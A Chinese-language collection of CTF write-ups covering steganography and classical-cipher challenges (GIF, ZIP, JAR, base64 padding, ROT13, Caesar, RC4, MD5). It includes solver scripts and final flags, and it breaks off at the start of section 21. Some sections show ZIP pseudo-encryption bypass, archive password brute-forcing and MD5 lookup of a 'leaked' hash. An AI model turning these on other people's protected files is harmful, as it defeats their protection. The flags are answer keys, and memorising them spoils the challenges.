  10. 一、flag的提交格式flag{th1s_!s_a_d4m0_4la9}二、PDF隐写writeup:使用在线word转pdf工具,转成word文件,然后拖动就可以查看到flaghttps://app.xunjiepdf.com/pdf2word/ 三、GIF图片隐写一writeup: 1.使用Stegsolve工具的Frame Browser浏览器查看静态的图片 File Format: 文件格式,这个主要是查看图片的具体信息 Data Extract: 数据抽取,图片中隐藏数据的抽取 Frame Browser: 帧浏览器,主要是对GIF之类的动图进行分解,动图变成一张张图片,便于查看 Image Combiner: 拼图,图片拼接 2.二维码缺少三个小方块,而这些小方块被称为定位图案,用于标记二维码矩形的大小,用三个定位图案可以标识并确定一个二维码矩形的位置和方向。3.将静态图片截图保存下,使用phoshtop工具修复二维码图片,然后进行扫描 https://jiema.wwei.cn/(二维码在线识别工具) 四、jar隐写writeup: 1.用 jd-gui 打开,直接搜索:flag 2.通过base64解密得到flag{DajiDali_JinwanChiji}五、压缩包隐写之黑白图片writeup:1.用winhex查看这些图片,没有发现可利用信息,于是想到黑白可能代表二进制0和1。我们将白色视为0黑色视为1或者反过来尝试一遍。一共有104张图片正好是8的倍数,可以转为8个一对二进制,再转化为ASCII码。由于图片较多,我们写一个python脚本。这里使用Python图像库PIL(Python Image Library),是python的第三方图像处理库。from PIL import Image result = "" for i in range(104): img = Image.open(f"C:\\Users\\backlion\\Desktop\\ctf\\jpg\\gif\\{i}.jpg") im_RGB = img.convert("RGB") # 将图片转换为RGB模式 r,g,b =im_RGB.getpixel((1,1)) #获得x,y坐标的rgb值 print(r,g,b)# 这题中白色图片rgb值:255,255,255 黑色图片rgb值:12,12,0 if r !=255: #255是白色 result +="1" else: result +="0" #将二进制转换为ascii码 for i in range(0,len(result),8): byte = result[i:i+8] print(chr(int(byte,2)),end="") """ rusult: flag{FuN_giF} """2.在线二进制转字符串http://www.txttool.com/wenben_binarystr.asp 六、十六进制转asciiwriteup:该报文如:c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2writeup:1.这个加解密的方式还是挺好猜的,字母最大为f,猜16进制,于是两个一组。每两个一组,将16进制转换为10进制,发现每组数据都大于127,但是ascii码的值不大于127,所以所有数值都减去128,再转换成字符,就得到flag了 string = "c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2" flag = '' for i in range(0,len(string), 2): s = "0x" + string[i] + string[i+1] flag += chr(int(s, 16) - 128) print(flag)2.得到:Hi, FreshDog! The flag is: hjzcydjzbjdcjkzkcugisdchjyjsbdfr注:也可以用JPocketKnife进行进制转换 七、与佛论禅加解密writeup:1.显示文字为:夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮 2.通过在线翻译工具http://www.keyfc.net/bbs/tools/tudoucode.aspx开头上佛曰两字即可解密佛语的意思:3.接着将解密后的MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9使用rot-13工具(根据题目描述的“如来十三掌”)再一次进行解码, 得到ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9 https://rot13.com/(在线工具 )python解密:#coding:utf-8 import string def decoder(crypt_str,shift): crypt_list = list(crypt_str) plain_str = "" num = int(shift) for ch in crypt_list: ch = ord(ch) if ord('a') <= ch and ch <= ord('z'): ch = ch + num if ch > ord('z'): ch -= 26 if ord('A') <= ch and ch <= ord('Z'): ch = ch +num if ch > ord('Z'): ch -= 26 a=chr(ch) plain_str += a print(plain_str) crypt_str = raw_input("Crypto_text:") print "!------decode------!" shift=13 decoder(crypt_str,shift)注:rot13使用一个简单的替换加密算法,对前字符13个字符和后13字符对调 4.base64解密 flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab} 八、pdf隐写之摩莫斯密码writeup:1.通过谷歌浏览器打开pdf文件,然后复制文字内容到text文字中 BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AAAAA AAAAA AAAAB BBA AAABB2.一大段AABABA样式的东西,猜测是01但是这些有分割,能想到的只有摩斯密码有分割的,于是尝试改成摩斯密码接下来我们把“A”换成“.”,把“B”换成“-”,得到-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. ... --..-- ..-. .-.. .- --. ---... .---- -. ...- .---- ..... .---- -... .-.. ...-- -- ...-- ..... ..... ....- --. ...--3.通过ctfcraktools工具中莫斯解密工具得到 CONGRATULATIONSnullFLAGnull1NV151BL3M3554G34.转变成:取flagnull 后面的内容,字母换成小写,套格式flag{1NV151BL3M3554G3}转换成小写:flag{1nv151bl3m3554g3} 九、受损rar文件之GIF隐写基础知识:1.RAR文件数据块结构: 2.常见的文件头头和文件尾结构:writeup:1.这个地方代表了文件头,65是flag.txt的文件结尾,A8 3C代表了校验码,所以7C代表了块类型,这里我们的块类型是文件头,所以改成74就可以正常解压文件。 2.对7B进行填充修改为74即可 3.保存后解压,再把sercet.png丢到winhex里发现文件头为gif图,将图片后缀名改为.gif。 这里需要一些关于正常文件编码的知识: jpg图像开始标志:FF D8 结束标志:FF D9 gif图像开始标志:47 49 46 38 39 61 结束标志:01 01 00 3B 4.修改后缀名为.gif,利用Stegsolve中的frame brower分解成两个图片然后用底下的左右箭头选择图层分离出二维码得到两张不全的二维码 5.由题可知为双层图,用ps打开分离图层后保存 (具体步骤:点击图层 - 复制图层 - 确定,再点击文件 - 储存 - 保存) ps全二维码,扫描得到flag:flag{yanji4n_bu_we1shi} 6.在线PS工具:https://www.uupoop.com/ps/?hmsr=ps_menu(选择——色域,把色域调成1就能看的二维码了,然后就拼接) 十、zip伪加密之base64隐写基础知识:1.压缩源文件数据区: 50 4B 03 04:这是头文件标记(0x04034b50) 14 03:解压文件所需 pkware 版本 00 00:全局方式位标记(判断有无加密的重要标志) 08 00:压缩方式 68 BF:最后修改文件时间 9B 48:最后修改文件日期 FE 32 7D 4B:CRC-32校验 E9 0D 00 00:压缩后尺寸 B5 1B 00 00:未压缩尺寸 09 00:文件名长度 00 00:扩展记录长度 2.压缩源文件目录区: 50 4B 01 02:目录中文件文件头标记(0x02014b50) 3F 03:压缩使用的 pkware 版本 14 03:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密的重要标志,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 08 00:压缩方式 68 BF:最后修改文件时间 9B 48:最后修改文件日期 FE 32 7D 4B:CRC-32校验(1480B516) E9 0D 00 00:压缩后尺寸(25) B5 1B 00 00:未压缩尺寸(23) 09 00:文件名长度 24 00:扩展字段长度 00 00:文件注释长度 00 00:磁盘开始号 00 00:内部文件属性 20 80 ED 81:外部文件属性 00 00 00 00:局部头部偏移量 压缩源文件目录结束标志: 50 4B 05 06:目录结束标记 00 00:当前磁盘编号 00 00:目录区开始磁盘编号 01 00:本磁盘上纪录总数 01 00:目录区中纪录总数 5B 00 00 00:目录区尺寸大小 10 0E 00 00:目录区对第一张磁盘的偏移量 00 00:ZIP 文件注释长度 然后就是识别真假加密 1.无加密 压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为00 00 2.假加密 压缩源文件数据区的全局加密应当为00 00 且压缩源文件目录区的全局方式位标记应当为09 00 3.真加密 压缩源文件数据区的全局加密应当为09 00 且压缩源文件目录区的全局方式位标记应当为09 00 writeup: 1.这题全局为00 00 但是在结尾发现是09 00,所以为假加密,把09 00 改成00 00就能解压打开文件了。 2.通过Zipcenop.jar工具对其进行解密java -jar ZipCenOp.jar r xxx.zip接3.着我们打开txt文件,可以看到很多base64密码U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9mIHdyaXRpbmcgaGlkZGVuIG1lc3NhZ2VzIGluIHN1Y2ggYSB3YXkgdGhhdCBubyBvbmV=LCBhcGFydCBmcm9tIHRoZSBzZW5kZXIgYW5kIGludGVuZGVkIHJlY2lwaWVudCwgc3VzcGU=Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhlIG1lc3M=YWdlLCBhIGZvcm0gb2Ygc2VjdXJpdHkgdGhyb3VnaCBvYnNjdXJpdHkuIFS=aGUgd29yZCBzdGVnYW5vZ3JhcGh5IGlzIG9mIEdyZWVrIG9yaWdpbiBhbmQgbWVhbnMgImNvbmNlYW==bGVkIHdyaXRpbmciIGZyb20gdGhlIEdyZWVrIHdvcmRzIHN0ZWdhbm9zIG1lYW5pbmcgImNvdmVyZWQgb3IgcHJvdGVjdGVkIiwgYW5kIGdyYXBoZWluIG1lYW5pbmcgInRvIHc=cml0ZSIuIFRoZSBmaXJzdCByZWNvcmRlZCB1c2Ugb2YgdGhlIHRlcm0gd2FzIGluIDE0OTkgYnkgSm9oYW5uZXMgVHJpdGhlbWl1cyBpbiBoaXMgU3RlZ2Fub2dyYXBoaWEsIGEgdHJlYV==dGlzZSBvbiBjcnlwdG9ncmFwaHkgYW5kIHN0ZWdhbm9ncmFwaHkgZGlzZ8==dWlzZWQgYXMgYSBib29rIG9uIG1hZ2ljLiBHZW5lcmFsbHksIG1lc3P=YWdlcyB3aWxsIGFwcGVhciB0byBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhcnRpY2xlcywgc2hvcHBpbmcgbGlzdHMsIG9yIHNvbWUgb3R=aGVyIGNvdmVydGV4dCBhbmQsIGNsYXNzaWNhbGx5LCB0aGUgaGlkZGVuIG1lc3NhZ2UgbWF5IGJlIGluIGludmm=c2libGUgaW5rIGJldHdlZW4gdGhlIHZpc2libGUgbGluZXMgb2YgYSBwcml2YXRlIGxldHRlci4NCg0KVGhlIGFkdmFudGFnZSBvZiBzdGVnYW5vZ3JhcGh5LCBvdmVyIGNyeXB0b2dyYXBoeSBhbG9uZSwgaXMgdGhhdCBtZXNzYWdlcyBkbyBub3QgYXR0cmFjdCBhdHRlbnRpb25=IHRvIHRoZW1zZWx2ZXMuIFBsYWlubHkgdmlzaWJsZSBlbmNyeXB0ZWQgbWVzc2FnZXOXbm8gbWF0dGVyIF==aG93IHVuYnJlYWthYmxll3dpbGwgYXJvdXNlIHN=dXNwaWNpb24sIGFuZCBtYXkgaW4gdGhlbXNlbHZlcyBiZSBpbmNyaW1pbmF0aW5nIP==aW4gY291bnRyaWVzIHdoZXJlIGVuY3J5cHRpb24gaXMgaWxsZWdhbC4gVGhlcmVmb3JlLH==IHdoZXJlYXMgY3J5cHRvZ3JhcGh5IHByb3RlY3RzIHRoZSBjb250ZW50cyBvZj==IGEgbWVzc2FnZSwgc3RlZ2Fub2dyYXBoeSBjYW4gYmUgc2FpZCB0byBwcm90ZWN0IGJ=b3RoIG1lc3NhZ2VzIGFuZCBjb21tdW5pY2F0aW5nIHBhcnRpZXMuDQoNClN0ZWdhbm9ncmFwaHkgaW5jbHW=ZGVzIHRoZSBjb25jZWFsbWVudCBvZiBpbmZvcm1hdGlvbiB3aXRoaW4gY29tcHV0ZXIgZmlsZXMuIEluIGRpZ2l0YWwgc3RlZ2Fub2dyYXBoeSwgZWxlY3Ryb25pYyBjb21tdW5pY2F0aW9ucyBtYXkgaW5jbHVkZSBzdGVnYW5vZ3JhcGhpYyBjb2RpbmcgaW5zaZ==ZGUgb2YgYSB0cmFuc3BvcnQgbGF5ZXIsIHN1Y2ggYXMgYSBkb2N1bWVudCBmaWxlLCBpbWFnZSBmaWx=ZSwgcHJvZ3JhbSBvciBwcm90b2NvbC4gTWVkaWEgZmlsZXMgYXJlIGlkZWFsIGZvciBzdGVnYW5vZ3JhcGhpYyB0cmFuc21pc3Npb+==biBiZWNhdXNlIG9mIHRoZWlyIGxhcmdlIHNpemUuIEFzIB==YSBzaW1wbGUgZXhhbXBsZSwgYSBzZW5kZXIgbWlnaHQgc3RhcnQgd2l0aCBhbiBpbm5vY3VvdXMgaW1hZ2UgZmlsZSBhbmQgYWRqdXN0IHRoZSBjb2xvciBvZiBldmVyeSAxMDB0aCBwaXhlbCD=dG8gY29ycmVzcG9uZCB0byBhIGxldHRlciBpbiB0aGUgYWxwaGFiZXQsIGF=IGNoYW5nZSBzbyBzdWJ0bGUgdGhhdCBzb21lb25lIG5vdCBzcGVjaWZpY2FsbHkgbG9va2luZyBmb3IgaXQgaXMgdW5saWtlbHkgdG8gbm90aWNlIGl0Lg0KDQpUaGU=IGZpcnN0IHJlY29yZGVkIHVzZXMgb2Ygc3RlZ2Fub2dyYXBoeSBjYW4gYmUgdHJ=YWNlZCBiYWNrIHRvIDQ0MCBCQyB3aGVuIEhlcm9kb3R1cyBtZW50aW9ucyB0d28gZXhhbXBsZXMgb+==ZiBzdGVnYW5vZ3JhcGh5IGluIFRoZSBIaXN0b3JpZXMgb2YgSGVyb2RvdHVzLiBEZW1hcmF0dXMgc2VudCBhIHdhcm5pbmcgYWJvdXQgYSB=Zm9ydGhjb21pbmcgYXR0YWNrIHRvIEdyZWVjZSBieSB3cml0aW5nIGl0IGRpcmVjdGx5IG9uIHRoZSB3b29kZW4gYmFja2luZyBvZiBhIHdheCB0YWJsZXQgYmVmb3JlIGFwcGx5aW5nIGl0cyBiZWVzd2F4IHN1cmZhY2UuIFdheCB0YWJsZXRzIHdlcmUgaW4gY29tbW9uIHVzZV==IHRoZW4gYXMgcmV1c2FibGUgd3JpdGluZyBzdXJmYWNlcywgc29tZXRpbWX=cyB1c2VkIGZvciBzaG9ydGhhbmQuIEFub3RoZXIgYW5jaWVudCBleGFtcGxlIGlzIHRoYXQgb9==ZiBIaXN0aWFldXMsIHdobyBzaGF2ZWQgdGhlIGhlYWQgb2YgaGlzIG1vc3QgdHJ1c3RlZCBzbGF2ZSBhbmQgdGF0dG9vZWQgYSBtZXNzYWdlIG9uIGl0LiBBZnRlciBoaXMgaGFpciBoYWQgZ5==cm93biB0aGUgbWVzc2FnZSB3YXMgaGlkZGVuLiBUaGUgcHVycG9zZSB3YXMgdG+=IGluc3RpZ2F0ZSBhIHJldm9sdCBhZ2FpbnN0IHRoZSBQZXJzaWFucy4NCg0KU3RlZ2Fub2dyYXBoeSBoYXMgYm==ZWVuIHdpZGVseSB1c2VkLCBpbmNsdWRpbmcgaW4gcmVjZW50IGhpc3RvcmljYWwgdGltZXMgYW5kIHT=aGUgcHJlc2VudCBkYXkuIFBvc3NpYmxlIHBlcm11dGF0aW9ucyBhcmUgZW5kbGVzcyBhbmT=IGtub3duIGV4YW1wbGVzIGluY2x1ZGU6DQoqIEhpZGRlbiBtZXNzYWdlcyB3aXRoaW4gd2F4IHRhYmxldHM6IGluIGFuY2llbnQgR3JlZWNlLCBwZW9wbGUgd3JvdGUgbWV=c3NhZ2VzIG9uIHRoZSB3b29kLCB0aGVuIGNvdmVyZWQgaXQgd2l0aCB3YXggdXBvbiB3aGljaCBhbiBpbm5vY2VudCBjb3ZlcmluZyBtZXNzYWdlIHdhcyB3cml0dGVuLg0KKiBIaWRkZW4gbWVzc2FnZXMgb24gbWVzc2VuZ2VyJ3MgYm9keTogYWxzbyB1c2VkIGluIGFuY2llbt==dCBHcmVlY2UuIEhlcm9kb3R1cyB0ZWxscyB0aGUgc3Rvcnkgb1==ZiBhIG1lc3NhZ2UgdGF0dG9vZWQgb24gYSBzbGF2ZSdzIHNoYXZlZCBoZWFkLCBoaWRkZW4gYnkgdGhlIGdyb3d0aCBvZiBoaXMgaGFpciwgYW5kIGV4cG9zZWQgYnkgc2hhdmluZyBoaXMgaGVhZM==IGFnYWluLiBUaGUgbWVzc2FnZSBhbGxlZ2VkbHkgY2FycmllZCBhIHdhcm5pbmcgdG8gR3JlZWNlIGFib5==dXQgUGVyc2lhbiBpbnZhc2lvbiBwbGFucy4gVGh=aXMgbWV0aG9kIGhhcyBvYnZpb3VzIGRyYXdiYWNrcyz=IHN1Y2ggYXMgZGVsYXllZCB0cmFuc21pc3Npb24gd2hpbGUgd2FpdGluZyBmb3IgdGhlIHP=bGF2ZSdzIGhhaXIgdG8gZ3JvdywgYW5kIHRoZSByZXN0cmljdGlvbnMgb3==biB0aGUgbnVtYmVyIGFuZCBzaXplIG9mIG1lc3M=YWdlcyB0aGF0IGNhbiBiZSBlbmNvZGVkIG9uIG9uZSBwZXJzb24=J3Mgc2NhbHAuDQoqIEluIFdXSUksIHRoZSBGcmVuY2ggUmVzaXN0YW5jZSBzZW50IHNvbWUgbWVzc2FnZXMgd2==cml0dGVuIG9uIHRoZSBiYWNrcyBvZiBjb3VyaWVycyD=dXNpbmcgaW52aXNpYmxlIGluay4NCiogSGlkZGVuIG1lc3NhZ2VzIG9uIHBhcGVyIHdyaXR0ZW4gaW4gc2VjcmV0IGlua3MsIHVuZGVyIG90aGVyIG1lc3NhZ2VzIG9yIG9uIHRoZSBibGFuayBwYXJ0cyBvZiBvdGhlct==IG1lc3NhZ2VzLg0KKiBNZXNzYWdlcyB3cml0dGVuIGluIE1vcnNlIGNvZGUgb24ga25pdHRpbmcgeWFybiBhbmQgdGhlbiBrbml0dGVkIGludG8gYSBwaWVjZSBvZiBjbG90aGluZyB3b3K=biBieSBhIGNvdXJpZXIuDQoqIE1lc3NhZ2VzIHdyaXR0ZW4gb24gdGhlIGJhY2sgb5==ZiBwb3N0YWdlIHN0YW1wcy4NCiogRHVyaW5nIGFuZCBhZnRlcm==IFdvcmxkIFdhciBJSSwgZXNwaW9uYWdlIGFnZW50cyB1c2VkIHBob3RvZ3JhcGhpY2FsbHkgcO==cm9kdWNlZCBtaWNyb2RvdHMgdG8gc2VuZCBpbmZvcm1hdGlvbiBiYWNrIGFuZH==IGZvcnRoLiBNaWNyb2RvdHMgd2VyZSB0eXBpY2FsbHkgbWludXRlLCBhcHByb3hpbWF0ZWx5IGxlc3MgdGhhbiB0aGUgc2l6ZSBvZiB0aGUgcGVyaW9kIHByb2R=dWNlZCBieSBhIHR5cGV3cml0ZXIuIFdXSUkgbWljcm9kb3RzIG5lZWRlZCB0byBiZSBlbWJlZGRlZB==IGluIHRoZSBwYXBlciBhbmQgY292ZXJlZCB3aXRoIGFuIGFkaGVzaXZlIChzdWNoIGFzIGNvbGxvZGlvbikuIFR=aGlzIHdhcyByZWZsZWN0aXZlIGFuZCB0aHVzIGRldGVjdGFibGUgYnkgdmlld2luZyBhZ2FpbnN0IGdsYW5jaW5nIGxpZ2h0LiBBbHRlcm5hdGl2ZSB0ZWNobmlxdWVzIGluY2x1ZGVkIGluc2VydGluZyBtaWNyb2RvdHMgaW50byBzbGl0cyBjdXQgaW50byB0aGUgZWRnZSBvZv==IHBvc3QgY2FyZHMuDQoqIER1cmluZyBXb3JsZCBXYXIgSUksIGEgc3B5IGZvciB=SmFwYW4gaW4gTmV3IFlvcmsgQ2l0eSwgVmVsdmFsZWW=IERpY2tpbnNvbiwgc2VudCBpbmZvcm1hdGlvbiB0byBhY2NvbW1vZGF0aW9=biBhZGRyZXNzZXMgaW4gbmV1dHJhbCBTb3V0aCBBbWVyaWO=YS4gU2hlIHdhcyBhIGRlYWxlciBpbiBkb2xscywgYW5kIG==aGVyIGxldHRlcnMgZGlzY3Vzc2VkIGhvdyBtYW55IG9mIHRoaXMgb3IgdGhhdCBkb2xsIHRvIHNoaXAuIFRoZSBzdGVnb3RleHQgd2FzIHRoZSBkb2xsIG9yZGVycywgd2hpbGUgdGhlIGNvbmNlYWxlZCAicGxhaW50ZXh0IiB3YXMgaXRzZWxmIGVuY2+=ZGVkIGFuZCBnYXZlIGluZm9ybWF0aW9uIGFib3V0IHNoaXAgbW92ZW1lbnRzLF==IGV0Yy4gSGVyIGNhc2UgYmVjYW1lIHNvbWV3aGF0IGZhbW91cyBhbmQgc2hlIGJlY2FtZSBrbm93biBhcyB0aGX=IERvbGwgV29tYW4uDQoqIENvbGQgV2FyIGNvdW50ZXItcHJvcGFnYW5kYS4gSW4gMTk2OCwgY3JldyBtZW1iZW==cnMgb2YgdGhlIFVTUyBQdWVibG8gKEFHRVItMikgaW50ZWxsaWdlbmNlIHNoaXAgaGVsZCBhcyBwcm==aXNvbmVycyBieSBOb3J0aCBLb3JlYSwgY29tbXVuaWNhdGVkIGluIHNpZ25=IGxhbmd1YWdlIGR1cmluZyBzdGFnZWQgcGhvdG8gb3Bwb3J0dW5pdGllcywgaW5mb3JtaW5nIHRoZSBVbml0ZWQgU3RhdGVzIHRoZXkgd2VyZSBub3QgZGVmZWN0b3JzIGJ1dCByYXRoZXIgd2VyZSBiZWluZyBoZWxkIGNhcHRpdmUgYnkgdGhlIE5vcnRoIEtvcmVhbnMuIEluIG90aGVyIHBob3RvcyBwcmVzZW50ZWQgdG8gdGhlIFVTLCBjcmV3IG1lbWJlcnMgZ2F2ZSAidGhlIGZpbmdlciIgdG8gdGhlIHVuc3VzcGVjdGluZyBOb3J0aCBLb3JlYW5zLCBpbiBhbiBhdHRlbXB0IHRvIE==ZGlzY3JlZGl0IHBob3RvcyB0aGF0IHNob3dlZCB0aGVtIHNtaQ==bGluZyBhbmQgY29tZm9ydGFibGUuDQoNCi0tDQpodHRwOi8vZW4ud2lraXBlZGlhLm9yZw==L3dpa2kvU3RlZ2Fub2dyYXBoeQ0K4.发现是bas64隐写,通过脚本解密:#!/user/bin/env python# -*-coding:utf-8 -*-def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('1.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i+8], 2)) print res_str solve_stego() 5.最终flag为:flag{Base_sixty_four_point_five}附录:base64隐写加密:# -*- coding: cp936 -*- import base64 flag = 'Tr0y{Base64isF4n}' #flag bin_str = ''.join([bin(ord(c)).replace('0b', '').zfill(8) for c in flag]) base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open('0.txt', 'rb') as f0, open('1.txt', 'wb') as f1: #'0.txt'是明文, '1.txt'用于存放隐写后的 base64 for line in f0.readlines(): rowstr = base64.b64encode(line.replace('\n', '')) equalnum = rowstr.count('=') if equalnum and len(bin_str): offset = int('0b'+bin_str[:equalnum * 2], 2) char = rowstr[len(rowstr) - equalnum - 1] rowstr = rowstr.replace(char, base64chars[base64chars.index(char) + offset]) bin_str = bin_str[equalnum*2:] f1.write(rowstr + '\n')base64隐写解密:# -*- coding: cp936 -*- b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open('1.txt', 'rb') as f: bin_str = '' for line in f.readlines(): stegb64 = ''.join(line.split()) rowb64 = ''.join(stegb64.decode('base64').encode('base64').split()) offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1])) equalnum = stegb64.count('=') #no equalnum no offset if equalnum: bin_str += bin(offset)[2:].zfill(equalnum * 2) print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 十一、linux系统文件隐写writeup:方法一:1.winHex打开压缩包,搜索文本flag,找到flag.txt和它的路径:/O7avZhikgKgbF/flag.txt root/Desktop/file/O7avZhikgKgbF/flag.txt2.用7-zip打开img文件,根据路径找到flag.txt,得到关键信息:ZmxhZ3tzYWpiY2lienNrampjbmJoc2J2Y2pianN6Y3N6Ymt6an0=方法二:1.可以先用file查看一下文件信息,该文件是linux的系统日志文件2.使用strings命令查看指定文件下有没有flag这样的字符串3.ext3是一个日志文件系统,常用于Linux操作系统,所以把它挂载到linux系统上(mnt目录) root@kali:/opt# mount f1fc23f5c743425d9e0073887c846d23 /mnt方法三:1.拿到附件后直接拖进winhex现有kali linux字样就把该文件拖到kali里面2.使用binwalk提取文件,发现里面有一个压缩包,其中有flag.txt3.使用foremost分离文件4.得到了一个output文件夹,内含zip,zip里面含有flag.txt,但是有密码加密最终通过base64解密得到flag:flag{sajbcibzskjjcnbhsbvcjbjszcszbkzj}十二、流量包隐写之jpgwriteup:1.使用wireshark分析,在wieshark中的编辑---查找分组--分组详情,字符串,中搜索字符串,flag.txt,进行查找分析 2.发现有多个flag.txt 的数据组,查找到第1150个包时,追踪流才看到,所以就多点了几次查找,终于让我给找到密码信息了,那就是名为6666.jpg这张图片3.右键点击,选择追踪流中的http流查看6666.jpg 4.JPG文件以FF D8开头,FF D9结尾,所以图片内容在哪一块就很明显了 5.FFD8FF是jpg文件的文件头,附上各类图的文件头: 6.把以FF D8开头、FF D9结尾的这部分复制,并在winhex中新建文件并粘贴,注意粘贴格式选择为ASCII Hex(建议先全选复制到记事本然后删去头尾比较方便),放到winhex里面新建一个文件,以ASCII Hex的形式复制进去,保存为jpg文件 7.另存为jpg文件,查看jpg文件,将其填入flag,发现不是flag。8.通过上述知道foremost分离文件中的zip目录下有个加密的压缩文件:00002778.zip(该文件通过伪加密进行解压发现文件破坏,并通过暴力破解也无果)这里的密码有可能就是上述wireshark分析出来jpg文件图片显示的密码:Th1s_1s_p4sswd_!!! 9.查看flag.txt文件最终获得flag:flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z} 十三、gif图片隐写二writeup:1.使用stegsolve工具载入图片,根据提示Go Green,当图片左右调整到Green plane 0的时候,显示重叠的flag值2.最终获得flag:IceCTF{420_CuR35_c4NCEr} 十四、C语言编译执行writeup:1.获取c语言源码flag.c#include<stdio.h>#include<string.h>void main() {char str[100]="";int i;int len;printf("input string:\n");gets(str);len=strlen(str);printf("result:\n");for(i=0;i<len+1;i++){ putchar(str[len-i]);}printf("\n");}2.在kali系统中通过gcc编译成$ gcc flag.c -o flag $ ./flag input string: warning: this program uses gets(), which is unsafe. ba1f2511fc30423bdb result: bdb32403cf1152f1ab 最终获得flag:bdb32403cf1152f1ab十五、flag格式取反题目:}~144_0t_em0c14w{galf根据galf这个提示说明flag反了,那么所有都要反转过来wirteup: flag{w41c0me_t0_441~} 十六、十六进制转ASCII码题目:666c61677b686578327374725f6368616c6c656e67657dwriteup:1.发现该字符串为十六进制,可转换为ASCII,通过以下在线转换http://www.ab126.com/goju/1711.html 2.最终获得flag:flag{hex2str_challenge} 十七、rc4密码解密题目: rc4的key为, welcometoicqedu 加密密码为:UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw== ,求明文 writetup: 1.通过python脚本解密 import random, base64 from hashlib import sha1 def crypt(data, key): x = 0 box = range(256) for i in range(256): x = (x + box[i] + ord(key[i % len(key)])) % 256 box[i], box[x] = box[x], box[i] x = y = 0 out = [] for char in data: x = (x + 1) % 256 y = (y + box[x]) % 256 box[x], box[y] = box[y], box[x] out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256])) return ''.join(out) def tdecode(data, key, decode=base64.b64decode, salt_length=16): if decode: data = decode(data) salt = data[:salt_length] return crypt(data[salt_length:], sha1(key + salt).digest()) if __name__ =='__main__': data = 'UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw ==' key = 'welcometoicqedu' decoded_data = tdecode(data=data, key=key) print decoded_data 2.也可通过在线工具:https://www.sojson.com/encrypt_rc4.html 最终得到flag:flag{rc4_l_keepgoing} 十八、二进制隐写writeup:1.使用winhex打开,查看前后没有什么信息,使用ctrl+f查找关键字flag,找到答案 2.最终获得flag:flag{re_start_007}十九、MD5解密题目:听说这是某个数据库的泄漏的重要数据,25d55ad283aa400af464c76d713c07ad,试着找出原始key吧。flag{key} writeup: 1.数据库泄露的重要数据?那猜想应该是md5加密,且了解字符的话就会知道是MD5,所以在线MD5解密 http://www.cmd5.com/,得出答案12345678。 2.最后获得flag:flag{12345678} 二十、凯撒密码题目:其中字符为:gmbh{4d850d5c3c2756f67b91cbe8f046eebd} writeup:1.刚开始也不知道什么密码,通过crackt00ls工具进行一个个测试,发现其中字符含有flag的最像,并且题目中出现中考眼力,说明要多选中选一个,只有凯撒密码符合。其中解密凯撒密码的python脚本:(这里脚本加密信息为小写那么它的key也为小写,如果是大写,KEY也是大写)import pyperclip message = 'gmbh{4d850d5c3c2756f67b91cbe8f046eebd}' LETTERS = 'abcdefghijklmnopqrstuvwxyz' for key in range(len(LETTERS)): translated = '' for symbol in message: if symbol in LETTERS: num = LETTERS.find(symbol) num = num - key if num < 0: num = num + len(LETTERS) translated = translated + LETTERS[num] else: translated = translated + symbol print('Key #%s:%s'%(key,translated))2.使用工具解密:3.最终得到flag:flag{4c850c5b3b2756e67a91bad8e046ddac}二十一、图片影写之zip爆破writeup: 1.通过binwalk 对文件进行分离 binwalk -e 1.jpg 